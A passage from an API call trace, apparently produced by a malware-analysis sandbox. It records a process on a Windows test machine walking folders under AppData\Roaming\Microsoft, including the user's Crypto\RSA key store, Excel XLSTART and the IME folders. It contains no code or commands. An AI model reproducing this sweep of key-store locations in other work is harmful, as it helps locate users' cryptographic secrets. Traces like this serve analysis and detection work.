(dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000", lpFilePart=0x0) returned 0x65 [0068.694] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1534390919-4215197118-2202912847-1000\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.695] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x36 [0068.695] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.695] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.696] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.696] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x32 [0068.696] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.696] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.696] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.696] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.696] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x44 [0068.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\document building blocks"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b63d310, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3b63d310, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3b63d310, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.696] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x44 [0068.696] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.697] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.697] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.697] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.703] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.703] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.704] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x49 [0068.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.704] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\document building blocks\\1033"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3b63d310, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x3b663470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x3b663470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.704] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x49 [0068.704] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.704] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.704] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.704] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.704] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.704] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x49 [0068.704] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.704] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.705] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.705] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.705] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x44 [0068.705] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.705] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.705] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.705] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.705] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x31 [0068.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.705] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\excel"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ac2470, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x14ac2470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x14ac2470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x31 [0068.705] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.706] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.706] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.706] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.706] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x39 [0068.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\excel\\xlstart"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ac2470, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x14ac2470, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x14ac2470, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x39 [0068.706] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.706] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.706] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.706] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.706] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x39 [0068.706] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.706] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.707] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.707] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x31 [0068.707] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.707] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.707] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.707] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.707] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x31 [0068.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\ime12"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x31 [0068.707] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.707] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.707] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.707] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.707] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12", lpFilePart=0x0) returned 0x31 [0068.707] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.708] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.708] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.708] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", lpFilePart=0x0) returned 0x32 [0068.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp10"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x761de1d0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0x761de1d0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x761de1d0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", lpFilePart=0x0) returned 0x32 [0068.708] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.708] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.708] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.708] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.708] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10", lpFilePart=0x0) returned 0x32 [0068.708] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP10\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.709] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x32 [0068.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp12"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x32 [0068.709] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.709] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12", lpFilePart=0x0) returned 0x32 [0068.709] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.709] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", lpFilePart=0x0) returned 0x33 [0068.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\imjp8_1"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf87d50, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.709] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\IMJP8_1", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: 